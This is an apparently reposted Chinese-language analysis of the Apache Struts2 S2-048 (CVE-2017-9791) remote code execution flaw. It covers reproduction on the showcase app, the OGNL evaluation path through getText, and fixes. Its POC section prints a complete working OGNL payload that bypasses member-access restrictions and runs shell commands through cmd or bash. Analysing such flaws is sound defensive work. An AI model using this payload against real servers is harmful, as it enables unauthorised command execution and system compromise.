Struts2 S2-048远程代码执行漏洞分析报告

一、漏洞介绍

1.1 漏洞背景

2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。

1.2 漏洞影响

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。

二、漏洞复现

本文使用Apache Struts22.3.24 版本作为复现演示实例。

首先下载struts-2.3.24-apps.zip,下载地址为http://archive.apache.org/dist/struts/2.3.24/。解压其中的 strucs2-showcase.war至 tomcat 的工作目录 webapps 下。

Struts2 S2-048远程代码执行漏洞分析报告

根据官网说明,可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,搜索发现 org.apache.struts2.showcase.integration.SaveGangsterAction 存在漏洞。

Struts2 S2-048远程代码执行漏洞分析报告

查看 struts-integration.xml 配置文件可知对应 action 为 saveGangster,类为 org.apache.struts2.s1.Struts1Action。

Struts2 S2-048远程代码执行漏洞分析报告

所以访问 /integration/saveGangster.action

Struts2 S2-048远程代码执行漏洞分析报告

抓包修改参数值,发现成功执行了 OGNL 表达式。

Struts2 S2-048远程代码执行漏洞分析报告

三、漏洞原理分析

3.1 漏洞产生条件

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录。

3.2 漏洞动态分析

漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。

首先执行的 truts1Action 的 execute 方法,该方法首先获取 Action

Struts2 S2-048远程代码执行漏洞分析报告

然后调用 saveGangsterAction 的 execute 方法,将表单请求封装到了 actionForm 中,

Struts2 S2-048远程代码执行漏洞分析报告

并设置一个标识,用于获取 ActionMessage

Struts2 S2-048远程代码执行漏洞分析报告

接着获取 request 中的 ActionMessage,检查 ActionMessage 是否为 null,不为 null 则处理 ActionMessage 并显示在客户端,此处调用了会执行 OGNL 表达式的 getText() 方法,将拼接后的参数传入其中, getText 方法会根据不同的Locale 去对应的资源文件里面获取相关文字信息并展现。

Struts2 S2-048远程代码执行漏洞分析报告

getText(StringaTextName) 方法位于 com.opensymphony.xwork2.ActionSupport 中,代码如下

Struts2 S2-048远程代码执行漏洞分析报告

Struts2 S2-048远程代码执行漏洞分析报告

然后进入 TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法,代码如下

Struts2 S2-048远程代码执行漏洞分析报告

接着进入 LocalizedTextUtil.findText(ClassaClass, String aTextName, Locale locale, String defaultMessage, Object[] args,ValueStack valueStack),代码如下

Struts2 S2-048远程代码执行漏洞分析报告

可知接着会调用 LocalizedTextUtil.getDefaultMessage(Stringkey, Locale locale, ValueStack valueStack, Object[] args, StringdefaultMessage),此函数调用了 TextParseUtil.translateVariables(String expression,ValueStack stack) 方法,执行 OGNL 表达式

Struts2 S2-048远程代码执行漏洞分析报告

TextParseUtil.translateVariables(Stringexpression,ValueStack stack) 方法代码如下

Struts2 S2-048远程代码执行漏洞分析报告

四、关于POC

4.1 远程代码执行POC

(1)用来出发文件漏洞,声明为文件上传。

%{(#_='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

(3)调用CMD命令的代码,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

五、修复意见

1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 无奈解决方案:不启用struts2-struts1-plugin插件

3、 根本解决方案:建议升级到最新版本2.5.10.1

六、参考资料

[1] https://xianzhi.aliyun.com/forum/read/1844.html

[2] http://www.cnblogs.com/Zhujianshi/p/7146396.html

[3] http://blog.topsec.com.cn/ad_lab/strutss2-048%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

[4] http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/55028.html

(0)
上一篇 2021年8月7日
下一篇 2021年8月7日

相关推荐

发表回复

登录后才能评论